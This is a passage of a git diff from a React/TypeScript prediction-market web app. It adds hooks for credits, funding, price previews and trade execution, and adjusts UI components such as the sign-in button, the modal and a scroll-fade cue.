"@/lib/trade-executor/credits"; +import { publicClient } from "@/lib/web3/public-client"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; +import { creditsContracts } from "@/config/contracts"; + +/** Under the funds prefix, so a run's refresh of the balances refreshes the credits too. */ +const creditsKey = (owner?: Address, tradeWallet?: Address, collateral?: Address) => + [...fundsKeyPrefix, "credits", DEFAULT_CHAIN_ID, owner, tradeWallet, collateral] as const; + +/** Skipped on a chain without credits contracts, where it never loads and holds no data. */ +export function useCreditsHeld( + owner: Address | undefined, + tradeWallet: Address | undefined, + collateral: Address | null, +) { + const contracts = creditsContracts(DEFAULT_CHAIN_ID); + return useQuery({ + queryKey: creditsKey(owner, tradeWallet, collateral ?? undefined), + queryFn: + contracts && owner && tradeWallet && collateral + ? () => fetchCredits(publicClient, { contracts, owner, tradeWallet, collateral }) + : skipToken, + staleTime: STALE_TIME.balance, + // optional to a prediction, so a failed read gives way to the visitor's own money at once + retry: false, + }); +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/useCreditsSwapPreview.ts b/apps/web/src/app/market/[parentMarket]/_components/useCreditsSwapPreview.ts new file mode 100644 index 00000000..725f55ff --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/useCreditsSwapPreview.ts @@ -0,0 +1,43 @@ +"use client"; + +import { useQuery } from "@tanstack/react-query"; +import type { Address } from "viem"; + +import { previewCreditsSwap } from "@/features/predict/flow/plan"; +import type { CreditsSwapPreview } from "@/features/predict/flow/types"; +import { createPredictReader } from "@/features/predict/run/reader"; + +import { createLensExactInputQuoter } from "@/lib/swap/lens"; +import { publicClient } from "@/lib/web3/public-client"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; +import { creditsRoute } from "@/config/contracts"; + +/** + * The credits swap a run spending `credits` would make now, for Details and for the run to be held to; + * none while nothing is spent. `failed` once the quote could not be had, or no route swaps the credits. + */ +export function useCreditsSwapPreview(args: { + sessionId: string; + collateral: Address | null; + /** The owner's trade wallet, which the swap pays. */ + tradeWallet: Address | undefined; + credits: bigint; + creditsBps: number; +}): { preview?: CreditsSwapPreview; failed: boolean } { + const { sessionId, collateral, tradeWallet, credits, creditsBps } = args; + const route = collateral ? creditsRoute(collateral, DEFAULT_CHAIN_ID) : null; + + const query = useQuery({ + queryKey: ["credits-swap-preview", collateral, tradeWallet, credits.toString(), creditsBps], + queryFn: () => + previewCreditsSwap({ collateral: collateral!, executor: tradeWallet!, credits: route }, credits, creditsBps, { + reader: createPredictReader({ client: publicClient, sessionId, collateral: collateral!, credits: route }), + creditsQuoter: createLensExactInputQuoter(publicClient, DEFAULT_CHAIN_ID as 100), + }), + enabled: collateral !== null && route !== null && tradeWallet !== undefined && credits > 0n, + }); + if (credits === 0n) return { failed: false }; + // credits with no route to swap them through are never quoted + return { preview: query.data, failed: route === null || query.isError }; +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/useHasPredicted.ts b/apps/web/src/app/market/[parentMarket]/_components/useHasPredicted.ts new file mode 100644 index 00000000..16108669 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/useHasPredicted.ts @@ -0,0 +1,15 @@ +"use client"; + +import type { Address } from "viem"; + +import type { SessionDetail } from "@/features/sessions/types"; +import { useTokenBalances } from "@/features/trade-executor/api/getTokenBalances"; + +/** True once the trade wallet holds any of the session's outcome tokens, INVALID included. */ +export function useHasPredicted(tradeWallet: Address | undefined, session: SessionDetail): boolean { + const tokens = session.options.flatMap((option) => + [option.upToken, option.downToken, option.invalidToken].filter((token): token is Address => Boolean(token)), + ); + const balances = useTokenBalances(tradeWallet, tokens); + return balances.data?.some((balance) => balance > 0n) ?? false; +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/useOptionPositions.ts b/apps/web/src/app/market/[parentMarket]/_components/useOptionPositions.ts new file mode 100644 index 00000000..31a367b1 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/useOptionPositions.ts @@ -0,0 +1,42 @@ +"use client"; + +import type { Address } from "viem"; +import { useAccount } from "wagmi"; + +import { isShownPosition, type OptionPosition } from "@/features/predict/utils/position"; +import type { SessionDetail } from "@/features/sessions/types"; +import { useExecutor } from "@/features/trade-executor/api/getExecutor"; +import { useTokenBalances } from "@/features/trade-executor/api/getTokenBalances"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +/** + * What the connected account's trade wallet holds of each option's UP and DOWN, keyed by + * lower-case market; an option it holds none of, or too little to show, has no entry. One read for every option. + */ +export function useOptionPositions(session: SessionDetail | undefined): Record { + const { address: owner, chainId } = useAccount(); + const executor = useExecutor(); + // reads all go to DEFAULT_CHAIN, so a wallet on another one would be shown someone else's balances + const holder = owner && chainId === DEFAULT_CHAIN_ID ? (executor.data?.deployed ?? undefined) : undefined; + + const options = (session?.options ?? []).filter( + (option): option is typeof option & { upToken: Address; downToken: Address } => + option.upToken !== null && option.downToken !== null, + ); + const balances = useTokenBalances( + holder, + options.flatMap((option) => [option.upToken, option.downToken]), + ); + + const held = balances.data; + // outcome tokens carry the collateral's decimals + const decimals = session?.collateralDecimals ?? 18; + if (!holder || !held) return {}; + return Object.fromEntries( + options.flatMap((option, index) => { + const position = { up: held[index * 2] ?? 0n, down: held[index * 2 + 1] ?? 0n }; + return isShownPosition(position, decimals) ? [[option.market.toLowerCase(), position]] : []; + }), + ); +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/usePredictDock.ts b/apps/web/src/app/market/[parentMarket]/_components/usePredictDock.ts new file mode 100644 index 00000000..9af6b6fd --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/usePredictDock.ts @@ -0,0 +1,126 @@ +import { useEffect, useLayoutEffect, useRef, useState, type AnimationEvent } from "react"; + +const useMeasureEffect = typeof window === "undefined" ? useEffect : useLayoutEffect; + +/** `entering` rises with a fresh live Predict, `leaving` sinks as it goes; neither replays on scroll. */ +type Phase = "idle" | "entering" | "leaving"; + +/** Where the dock's top sits in the page's flow, whether or not it is pinned: under its previous sibling. */ +function flowTop(dock: HTMLElement): number { + const parent = dock.parentElement!; + const style = getComputedStyle(parent); + const previous = dock.previousElementSibling; + return previous + ? previous.getBoundingClientRect().bottom + (parseFloat(style.rowGap) || 0) + : parent.getBoundingClientRect().top + parseFloat(style.paddingTop); +} + +/** The dock's height docked into the page, read off a hidden copy so a pinned dock need not unpin to be measured. */ +function dockedHeight(dock: HTMLElement): number { + const copy = dock.cloneNode(true) as HTMLElement; + for (const name of ["data-stuck", "data-entering", "data-leaving", "style"]) copy.removeAttribute(name); + Object.assign(copy.style, { position: "absolute", visibility: "hidden", width: `${dock.offsetWidth}px` }); + dock.after(copy); + const height = copy.offsetHeight; + copy.remove(); + return height; +} + +/** + * The phone dock around the Predict card: pinned to the bottom edge while Predict is live and the card's own + * place is below the fold, docked back into the page once the visitor reaches it. + */ +export function usePredictDock(isLive: boolean, content: string) { + const ref = useRef(null); + const docked = useRef(0); + const remeasure = useRef<() => void>(undefined); + const [isStuck, setIsStuck] = useState(false); + // the card's height in the page, measured docked and held while pinned, so the page keeps one length + const [height, setHeight] = useState(); + const [phase, setPhase] = useState("idle"); + const [wasLive, setWasLive] = useState(isLive); + if (wasLive !== isLive) { + setWasLive(isLive); + setPhase(isLive ? "entering" : isStuck ? "leaving" : "idle"); + } + + useMeasureEffect(() => { + if (!isLive) { + if (phase !== "leaving") setIsStuck(false); + return; + } + let frame = 0; + let isResized = false; + const check = (measure: boolean) => { + frame = 0; + const dock = ref.current; + if (!dock) return; + // the dock pins only below md and upright; its computed position says whether it does in this viewport + if (getComputedStyle(dock).position !== "sticky") { + setIsStuck(false); + setPhase((current) => (current === "entering" ? "idle" : current)); + return; + } + if (measure) { + docked.current = dockedHeight(dock); + setHeight(docked.current); + } + const stuck = flowTop(dock) + docked.current > window.innerHeight + 0.5; + setIsStuck(stuck); + if (!stuck) setPhase((current) => (current === "entering" ? "idle" : current)); + }; + const schedule = () => { + if (!frame) + frame = requestAnimationFrame(() => { + check(isResized); + isResized = false; + }); + }; + const onResize = () => { + isResized = true; + schedule(); + }; + remeasure.current = () => check(true); + check(true); + window.addEventListener("scroll", schedule, { passive: true }); + window.addEventListener("resize", onResize); + return () => { + remeasure.current = undefined; + cancelAnimationFrame(frame); + window.removeEventListener("scroll", schedule); + window.removeEventListener("resize", onResize); + }; + }, [isLive]); + + // what the card carries changed, and with it the height it takes docked + useMeasureEffect(() => remeasure.current?.(), [content]); + + // React has no onAnimationCancel; a dock widened past md mid-exit drops its animation without an end + useEffect(() => { + const dock = ref.current; + if (phase !== "leaving" || !dock) return; + const settle = (event: Event) => { + if (event.target !== dock) return; + setIsStuck(false); + setPhase("idle"); + }; + dock.addEventListener("animationcancel", settle); + return () => dock.removeEventListener("animationcancel", settle); + }, [phase]); + + const onAnimationEnd = (event: AnimationEvent) => { + if (event.target !== event.currentTarget) return; + if (phase === "leaving") setIsStuck(false); + setPhase("idle"); + }; + + return { + ref, + isDocked: isLive || phase === "leaving", + isStuck, + phase, + // the pinned bar sits at the bottom of the card's own height + style: isStuck && height !== undefined ? { minHeight: height } : undefined, + onAnimationEnd, + }; +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/usePredictExecution.ts b/apps/web/src/app/market/[parentMarket]/_components/usePredictExecution.ts new file mode 100644 index 00000000..307cf9ad --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/usePredictExecution.ts @@ -0,0 +1,100 @@ +"use client"; + +import { useEffect, useRef } from "react"; + +import { useQueryClient } from "@tanstack/react-query"; +import type { Address } from "viem"; + +import type { PredictSlippage } from "@/features/predict/flow/types"; +import { usePredictRun, type PredictRunInput } from "@/features/predict/hooks/usePredictRun"; +import type { SelectedEstimate } from "@/features/predict/types"; +import { fundingRequest, type Funding } from "@/features/predict/utils/funding"; +import { sessionChartKey } from "@/features/sessions/api/getSessionChart"; +import { refreshSessionAfterTrade } from "@/features/sessions/api/getSessionStats"; +import type { SessionDetail } from "@/features/sessions/types"; +import { executorKey } from "@/features/trade-executor/api/getExecutor"; +import { fundsKeyPrefix } from "@/features/trade-executor/api/getFunds"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; +import { creditsRoute, gnosisRouterAddress, sDaiDepositRoute, tradeExecutorFactoryAddress } from "@/config/contracts"; + +import { sessionOptionTokens, toPredictOptions } from "./toPredictOptions"; + +/** The prediction run for this session, and the caches it refreshes when a run completes or stops. */ +export function usePredictExecution(args: { + session: SessionDetail; + selected: SelectedEstimate[]; + owner: Address | undefined; + chainId: number | undefined; + /** The owner's trade wallet, deployed or not. */ + tradeWallet: Address | undefined; + funding: Funding | null; + native: boolean; + slippage: PredictSlippage; +}) { + const { session, selected, owner, chainId, tradeWallet } = args; + const queryClient = useQueryClient(); + + const router = gnosisRouterAddress(DEFAULT_CHAIN_ID); + const factory = tradeExecutorFactoryAddress(DEFAULT_CHAIN_ID); + const { collateralToken } = session; + + // read when the button is pressed, not when the run is built + const fundingRef = useRef({ funding: args.funding, native: args.native, slippage: args.slippage }); + fundingRef.current = { funding: args.funding, native: args.native, slippage: args.slippage }; + + const input: PredictRunInput | null = + owner !== undefined && + chainId === DEFAULT_CHAIN_ID && + router !== null && + factory !== null && + tradeWallet !== undefined && + collateralToken !== null + ? { + sessionId: session.id, + parentMarket: session.parentMarket, + closesAt: session.closesAt ? Math.floor(session.closesAt.getTime() / 1000) : null, + collateral: collateralToken, + router, + factory, + owner, + executor: tradeWallet, + sDaiAdapter: sDaiDepositRoute(collateralToken, DEFAULT_CHAIN_ID)?.sDaiAdapter ?? null, + credits: creditsRoute(collateralToken, DEFAULT_CHAIN_ID), + options: () => toPredictOptions(session, selected), + sessionOptions: () => sessionOptionTokens(session), + funding: () => { + const { funding, native } = fundingRef.current; + return funding + ? fundingRequest(funding, native) + : { + deposit: 0n, + depositNative: native, + collateralIn: 0n, + collateralBefore: 0n, + creditsFromEoa: 0n, + creditsToSpend: 0n, + }; + }, + slippage: () => fundingRef.current.slippage, + onComplete: () => { + void queryClient.invalidateQueries({ queryKey: fundsKeyPrefix }); + void queryClient.invalidateQueries({ queryKey: executorKey(owner) }); + void queryClient.invalidateQueries({ queryKey: sessionChartKey(session.id) }); + void refreshSessionAfterTrade(queryClient, session.id); + }, + } + : null; + + const { driver, progress } = usePredictRun(input); + const stage = progress?.stage ?? "idle"; + + useEffect(() => { + // a stopped run may have created the wallet or added funds, which the balances must show + if (stage !== "halted") return; + void queryClient.invalidateQueries({ queryKey: fundsKeyPrefix }); + void queryClient.invalidateQueries({ queryKey: executorKey(owner) }); + }, [stage, queryClient, owner]); + + return { driver, progress, ready: input !== null }; +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/usePredictFunding.ts b/apps/web/src/app/market/[parentMarket]/_components/usePredictFunding.ts new file mode 100644 index 00000000..1dc504b4 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/usePredictFunding.ts @@ -0,0 +1,93 @@ +"use client"; + +import type { Address } from "viem"; + +import { useSavingsRate } from "@/features/predict/api/getSavingsRate"; +import type { PayToken } from "@/features/predict/types"; +import { creditLines, creditsOffer, type CreditsOffer } from "@/features/predict/utils/credits"; +import { planFunding, type Funding } from "@/features/predict/utils/funding"; +import { useFunds } from "@/features/trade-executor/api/getFunds"; + +import { sDaiDepositRoute } from "@/config/contracts"; + +import { useCreditsHeld } from "./useCreditsHeld"; + +const WAD = 10n ** 18n; + +/** Balances behind a prediction, and how `amount` would be funded from them. */ +export function usePredictFunding(args: { + owner: Address | undefined; + /** The owner's trade wallet, deployed or not. */ + tradeWallet: Address | undefined; + collateral: Address | null; + /** Undefined picks the token the owner's wallet holds more of, by collateral value. */ + token: PayToken | undefined; + amount: bigint; + /** The visitor's tick on the credits line; credits are spent only while it is on. */ + useCredits: boolean; +}): { + funding: Funding | null; + /** What the visitor's credits can cover; none until they are read, and where the chain has none. */ + credits: CreditsOffer; + /** The token `funding` is in; undefined until the balances say which one to default to. */ + token: PayToken | undefined; + /** What can be put in, in the given token; undefined while its balances are being read. */ + available: (token: PayToken) => bigint | undefined; + canPayNative: boolean; +} { + const { owner, tradeWallet, collateral, amount } = args; + const route = collateral ? sDaiDepositRoute(collateral) : null; + + const own = useFunds(owner, collateral ?? undefined); + const held = useFunds(tradeWallet, collateral ?? undefined); + const rate = useSavingsRate(route?.sDai); + const read = useCreditsHeld(owner, tradeWallet, collateral); + const credits = creditsOffer(read.data ?? null); + const lines = args.useCredits ? creditLines(read.data ?? null, credits) : []; + + const plan = (token: PayToken, value: bigint): Funding | null => { + // a failed credits read leaves the visitor's own money to predict with + if (own.isPending || held.isPending || !own.data || !held.data || read.isLoading) return null; + if (token === "collateral") { + return planFunding({ + amount: value, + ownWallet: own.data.token ?? 0n, + tradeWallet: held.data.token ?? 0n, + credits: lines, + }); + } + if (route === null || rate.data === undefined) return null; + return planFunding({ + amount: value, + ownWallet: own.data.native, + tradeWallet: held.data.token ?? 0n, + tokenPerCollateralWad: rate.data, + credits: lines, + }); + }; + + const available = (token: PayToken) => plan(token, 0n)?.available; + const token = args.token ?? preferredToken(available, route === null || rate.isError, rate.data); + + return { + funding: token ? plan(token, amount) : null, + credits, + token, + available, + canPayNative: route !== null, + }; +} + +/** Native only when it is worth strictly more than the collateral; the collateral otherwise. */ +function preferredToken( + available: (token: PayToken) => bigint | undefined, + collateralOnly: boolean, + tokenPerCollateralWad: bigint | undefined, +): PayToken | undefined { + const collateral = available("collateral"); + if (collateral === undefined) return undefined; + if (collateralOnly) return "collateral"; + const native = available("native"); + if (native === undefined || tokenPerCollateralWad === undefined) return undefined; + return native * WAD > collateral * tokenPerCollateralWad ? "native" : "collateral"; +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/usePricePreview.ts b/apps/web/src/app/market/[parentMarket]/_components/usePricePreview.ts new file mode 100644 index 00000000..d5df7ca0 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/usePricePreview.ts @@ -0,0 +1,112 @@ +"use client"; + +import { useQuery } from "@tanstack/react-query"; +import type { Address } from "viem"; + +import type { PriceMove } from "@/features/predict/components/PredictList"; +import { createPredictReader } from "@/features/predict/run/reader"; +import type { ShownPlans } from "@/features/predict/run/types"; +import type { SelectedEstimate } from "@/features/predict/types"; +import { previewTrades, type PreviewTrades } from "@/features/predict/utils/plan"; +import type { SessionDetail } from "@/features/sessions/types"; + +import { priceWadToEstimate } from "@/utils/optionPrice"; + +import { publicClient } from "@/lib/web3/public-client"; + +import { toPredictOptions } from "./toPredictOptions"; + +export interface PricePreview { + /** Where each option's market would move and with which trades, keyed by lower-case market. */ + moves: Record; + /** Each option's plan as the pool maths gives it, which Predict holds the run to. */ + plans: ShownPlans; + /** Underlying each option's trade wallet already holds, keyed as `plans`. */ + held: Record; + /** Every option's pools are read and the split is known, so `plans` holds a plan for each option that has one. */ + ready: boolean; + /** The pools could not be read. */ + failed: boolean; + /** The pools could not be read on a read after a failed one either. */ + failedAgain: boolean; + /** The pools are being read again after `failed`. */ + retrying: boolean; + /** Reads the pools again. */ + retry: () => void; +} + +/** An option's plan as the summary shows it, in the option's unit; `held` counts only where the plan splits. */ +export function toPriceMove(trades: PreviewTrades, scale: SessionDetail["options"][number], held: bigint): PriceMove { + const { from, to, ...plan } = trades; + return { + from: priceWadToEstimate(from, scale), + to: priceWadToEstimate(to, scale), + plan: { ...plan, held: plan.split > 0n ? held : 0n }, + }; +} + +/** Where each selected option's market sits now, where this prediction would move it and with which trades. */ +export function usePricePreview(args: { + session: SessionDetail; + selected: SelectedEstimate[]; + /** The owner's trade wallet, whose held tokens the trades start from. */ + tradeWallet: Address | undefined; + /** Collateral each option splits; undefined while it is not known, which plans nothing. */ + collateralIn: bigint | undefined; + /** The trades' slippage setting, which sizes the buys. */ + slippageBps: number; +}): PricePreview { + const { session, selected, tradeWallet, collateralIn, slippageBps } = args; + const { collateralToken } = session; + const options = toPredictOptions(session, selected); + + const states = useQuery({ + queryKey: [ + "predict-preview", + session.id, + tradeWallet, + options.map((option) => `${option.childMarket}:${option.targetPriceWad}`), + ], + queryFn: () => + createPredictReader({ client: publicClient, sessionId: session.id, collateral: collateralToken! }).optionStates({ + options, + executor: tradeWallet!, + }), + enabled: tradeWallet !== undefined && collateralToken !== null && options.length > 0, + }); + + const ready = collateralIn !== undefined && (options.length === 0 || states.isSuccess); + const preview: PricePreview = { + moves: {}, + plans: {}, + held: {}, + ready, + failed: states.isError, + failedAgain: states.isError && states.errorUpdateCount > 1, + retrying: states.isError && states.isFetching, + retry: () => void states.refetch(), + }; + const plans: Record = {}; + for (const [index, option] of options.entries()) { + const state = states.data?.[index]; + const scale = session.options.find((each) => each.market === option.childMarket); + if (!state || !scale || collateralIn === undefined) continue; + + const trades = previewTrades( + { + pools: state.pools, + targetPriceWad: option.targetPriceWad, + held: state.held, + splitAmount: state.underlying + collateralIn, + }, + slippageBps, + ); + if (trades) { + const key = option.childMarket.toLowerCase(); + plans[key] = trades; + preview.held[key] = state.underlying; + preview.moves[key] = toPriceMove(trades, scale, state.underlying); + } + } + return { ...preview, plans }; +} diff --git a/apps/web/src/assets/svg/download.svg b/apps/web/src/assets/svg/download.svg new file mode 100644 index 00000000..7e0ba09b --- /dev/null +++ b/apps/web/src/assets/svg/download.svg @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/apps/web/src/assets/svg/long-arrow-down.svg b/apps/web/src/assets/svg/long-arrow-down.svg new file mode 100644 index 00000000..cbb7c5f6 --- /dev/null +++ b/apps/web/src/assets/svg/long-arrow-down.svg @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/apps/web/src/assets/svg/long-arrow-up.svg b/apps/web/src/assets/svg/long-arrow-up.svg new file mode 100644 index 00000000..a2c2d237 --- /dev/null +++ b/apps/web/src/assets/svg/long-arrow-up.svg @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/apps/web/src/assets/svg/wallet.svg b/apps/web/src/assets/svg/wallet.svg deleted file mode 100644 index 77e2de29..00000000 --- a/apps/web/src/assets/svg/wallet.svg +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/apps/web/src/components/ThemeToggle.tsx b/apps/web/src/components/ThemeToggle.tsx index 67537291..0da16f82 100644 --- a/apps/web/src/components/ThemeToggle.tsx +++ b/apps/web/src/components/ThemeToggle.tsx @@ -30,6 +30,7 @@ const ThemeToggle: React.FC<{ return ( { + it("names the icon-only button after what it does", () => { + render(); + + expect(screen.getByRole("button", { name: /theme|dark mode|light mode/i })).toBeInTheDocument(); + }); +}); diff --git a/apps/web/src/components/auth/EnsureAuth.tsx b/apps/web/src/components/auth/EnsureAuth.tsx index 311e378e..365de84c 100644 --- a/apps/web/src/components/auth/EnsureAuth.tsx +++ b/apps/web/src/components/auth/EnsureAuth.tsx @@ -2,17 +2,26 @@ import React, { useCallback } from "react"; +import { classifyTxError } from "@foresight/tx-orchestrator"; import { useAtlasProvider } from "@kleros/kleros-app"; import { Button } from "@kleros/ui-components-library"; import { useAccount } from "wagmi"; import { errorToast, infoToast, successToast } from "@/utils/toast"; -const EnsureAuth: React.FC<{ children: React.ReactNode; text?: string; className?: string }> = ({ - children, - text, - className, -}) => { +/** What a caller's own sign-in button needs; `isSigningIn` while the wallet is asked to sign. */ +interface SignInButtonProps { + onPress: () => void; + isDisabled: boolean; + isSigningIn: boolean; +} + +const EnsureAuth: React.FC<{ + children: React.ReactNode; + text?: string; + /** Draws the sign-in in place of the library's button. */ + renderButton?: (props: SignInButtonProps) => React.ReactNode; +}> = ({ children, text, renderButton }) => { const { address } = useAccount(); const { isVerified, isSigningIn, authoriseUser } = useAtlasProvider(); @@ -20,19 +29,19 @@ const EnsureAuth: React.FC<{ children: React.ReactNode; text?: string; className infoToast("Signing in..."); authoriseUser() .then(() => successToast("Signed in successfully!")) - .catch((err: Error) => errorToast(`Sign-in failed: ${err?.message}`)); + .catch((error: unknown) => + errorToast( + classifyTxError(error) === "rejected" ? "You declined in your wallet." : "Sign-in failed. Try again.", + ), + ); }, [authoriseUser]); - return isVerified ? ( - children + if (isVerified) return children; + const isDisabled = isSigningIn || !address; + return renderButton ? ( + renderButton({ onPress: handleSignIn, isDisabled, isSigningIn }) ) : ( - +
    +
    +
    + {children} +
    +
    +
    +
    + ); +} diff --git a/apps/web/src/components/ui/ExternalLink.tsx b/apps/web/src/components/ui/ExternalLink.tsx index ed47aeb8..5293c195 100644 --- a/apps/web/src/components/ui/ExternalLink.tsx +++ b/apps/web/src/components/ui/ExternalLink.tsx @@ -10,10 +10,14 @@ export function ExternalLink({ href, children, className }: { href: string; chil href={href} target="_blank" rel="noopener noreferrer" - className={clsx("text-fs-accent inline-flex items-center gap-1 text-sm", className)} + className={clsx("text-fs-text-accent text-sm hover:underline", className)} > {children} - + {/* U+2060 keeps the arrow on the line of the last word when the text wraps */} + + {"\u2060"} + + ); } diff --git a/apps/web/src/components/ui/Modal.tsx b/apps/web/src/components/ui/Modal.tsx new file mode 100644 index 00000000..398dc0ff --- /dev/null +++ b/apps/web/src/components/ui/Modal.tsx @@ -0,0 +1,22 @@ +import type { ComponentProps } from "react"; + +import { Modal as LibraryModal } from "@kleros/ui-components-library"; +import clsx from "clsx"; + +/** Stacking: page layers up to z-10, the sticky header z-30, a dialog's overlay z-40. */ +const OVERLAY_LAYER = "z-40"; + +/** + * The library's modal, its overlay raised over the sticky header so a tall dialog is never covered. + * `belowHeader` keeps the library's z-20 for a menu that opens from the header and leaves it in view. + */ +export function Modal({ + belowHeader = false, + modalOverlayClassname, + ...props +}: Omit, "modalOverlayClassname"> & { + modalOverlayClassname?: string; + belowHeader?: boolean; +}) { + return ; +} diff --git a/apps/web/src/components/ui/ScrollFade.tsx b/apps/web/src/components/ui/ScrollFade.tsx index b2b8bf71..e0d68bcf 100644 --- a/apps/web/src/components/ui/ScrollFade.tsx +++ b/apps/web/src/components/ui/ScrollFade.tsx @@ -1,24 +1,67 @@ "use client"; -import React, { useEffect, useRef, useState } from "react"; +import React, { useEffect, useLayoutEffect, useRef, useState } from "react"; import clsx from "clsx"; +import ArrowDown from "@/assets/svg/long-arrow-down.svg"; + type ScrollFadeProps = { children: React.ReactNode; className?: string; fadeSize?: number; // px + /** Said at the foot while there is more to scroll to, on a strip of its own below the scroll area. */ + cue?: string; + /** The least overflow, in px, that raises the fades and the cue; by default a 16px line, as less is usually padding. */ + minOverflow?: number; + /** The fades' colour, as a `from-*` class: the surface the scroll area sits on. */ + fadeFrom?: string; + /** The cue's text and top border colours, as `text-*` and `border-*` classes. */ + cueTone?: string; + /** How far, in px, the cue's words and arrow lift before each nudge's drop. */ + cueLift?: number; + /** How far, in px, the cue's words and arrow drop in each nudge. */ + cueDrop?: number; }; +// measured before paint, so the cue's strip is laid out by the next frame, when a child may scroll the area +const useMeasureEffect = typeof window === "undefined" ? useEffect : useLayoutEffect; + +const SCROLL_KEYS = new Set(["ArrowUp", "ArrowDown", "PageUp", "PageDown", "Home", "End", " "]); + +/** A field or widget that takes the scroll keys for itself; a button or a tick takes only the space. */ +function usesScrollKey(target: EventTarget | null, key: string): boolean { + if (!(target instanceof Element)) return false; + const fields = + "input, textarea, select, [contenteditable=true], [role=slider], [role=spinbutton], [role=listbox], [role=combobox], [role=menu], [role=radiogroup]"; + return target.closest(key === " " ? `${fields}, button, [role=checkbox], [role=switch]` : fields) !== null; +} + /** * Self-contained scrollable wrapper with automatic top/bottom fades. * Manages its own overflow and shrink behavior; requires a bounded height. */ -export const ScrollFade: React.FC = ({ children, className, fadeSize = 24 }) => { +export const ScrollFade: React.FC = ({ + children, + className, + fadeSize = 24, + cue, + minOverflow = 16, + fadeFrom = "from-fs-surface", + cueTone = "border-fs-border text-fs-text-secondary", + cueLift = 3, + cueDrop = 6, +}) => { const ref = useRef(null); + const cueRef = useRef(null); const [showTop, setShowTop] = useState(false); const [showBottom, setShowBottom] = useState(false); + const [hasOverflow, setHasOverflow] = useState(false); + // once the cue's bursts end or the visitor scrolls the area, the cue stays still; reduced motion skips them + const [nudged, setNudged] = useState( + () => typeof window !== "undefined" && Boolean(window.matchMedia?.("(prefers-reduced-motion: reduce)").matches), + ); - useEffect(() => { + useMeasureEffect(() => { const el = ref.current; if (!el) return; const EPSILON = 2; // px tolerance for sub-pixel / animation noise @@ -27,11 +70,16 @@ export const ScrollFade: React.FC = ({ children, className, fad const { scrollTop, scrollHeight, clientHeight } = el; const maxScrollable = scrollHeight - clientHeight; - const hasOverflow = maxScrollable > EPSILON; + // the cue's strip takes its height from the scroll area while it is held open + const strip = cueRef.current?.offsetHeight ?? 0; + const hasOverflow = maxScrollable >= Math.max(minOverflow, 1) + strip; - const atTop = scrollTop <= EPSILON; - const atBottom = scrollTop >= maxScrollable - EPSILON; + // the tolerance never swallows the whole of a 1-2px overflow + const tolerance = Math.min(EPSILON, maxScrollable - 1); + const atTop = scrollTop <= tolerance; + const atBottom = scrollTop >= maxScrollable - tolerance; + setHasOverflow(hasOverflow); setShowTop(hasOverflow && !atTop); setShowBottom(hasOverflow && !atBottom); }; @@ -40,6 +88,14 @@ export const ScrollFade: React.FC = ({ children, className, fad el.addEventListener("scroll", update); window.addEventListener("resize", update); + // the visitor's own scroll settles the cue; a scroll the page makes (focus, scrollIntoView) does not + const settle = () => setNudged(true); + const settleOnKey = (event: KeyboardEvent) => { + if (SCROLL_KEYS.has(event.key) && !usesScrollKey(event.target, event.key)) settle(); + }; + el.addEventListener("wheel", settle, { passive: true }); + el.addEventListener("touchmove", settle, { passive: true }); + el.addEventListener("keydown", settleOnKey); // Content can grow without a scroll or a window resize. const observer = new ResizeObserver(update); observer.observe(el); @@ -47,49 +103,83 @@ export const ScrollFade: React.FC = ({ children, className, fad return () => { el.removeEventListener("scroll", update); + el.removeEventListener("wheel", settle); + el.removeEventListener("touchmove", settle); + el.removeEventListener("keydown", settleOnKey); window.removeEventListener("resize", update); observer.disconnect(); }; - }, []); + }, [minOverflow]); return (
    - {/* Top fade */} - {showTop && ( +
    + {/* Top fade */} + {showTop && ( +
    + )} + + {/* Scroll container */}
    - )} - - {/* Scroll container */} -
    + {children} +
    + + {/* Bottom fade */} + {showBottom && ( +
    )} - > - {children}
    - {/* Bottom fade */} - {showBottom && ( -
    - )} + > + {/* the hairline stays put; the words and the arrow nudge together */} + setNudged(true)} + > + + {cue} + + + ) : null}
    ); }; diff --git a/apps/web/src/components/ui/Select.tsx b/apps/web/src/components/ui/Select.tsx index aab95050..18fe9570 100644 --- a/apps/web/src/components/ui/Select.tsx +++ b/apps/web/src/components/ui/Select.tsx @@ -11,9 +11,9 @@ export function Select({ value, onChange, placeholder, - variant = "field", isDisabled, className, + menuClassName, }: { label: string; /** Keeps the label as the accessible name where the field is titled beside it. */ @@ -22,9 +22,10 @@ export function Select({ value: string; onChange: (id: string) => void; placeholder?: string; - variant?: "field" | "menu"; isDisabled?: boolean; className?: string; + /** Classes for the open menu's popover; its list is `#listbox` and each row `[role=option]`. */ + menuClassName?: string; }) { return ( onChange(String(item.id))} placeholder={placeholder} - simpleButton={variant === "menu"} - smallButton={variant === "menu"} isDisabled={isDisabled} className={clsx(hideLabel && "*:first:sr-only", className)} + dropdownClassName={menuClassName} /> ); } diff --git a/apps/web/src/components/ui/WithHelpTooltip.tsx b/apps/web/src/components/ui/WithHelpTooltip.tsx index 8bbdcdea..1cc2ac60 100644 --- a/apps/web/src/components/ui/WithHelpTooltip.tsx +++ b/apps/web/src/components/ui/WithHelpTooltip.tsx @@ -6,21 +6,27 @@ import HelpIcon from "@/assets/menu-icons/help.svg"; interface IWithHelpTooltip { tooltipMsg: string; + /** The help icon's accessible name. */ + label?: string; place?: "bottom" | "left" | "right" | "top"; children?: 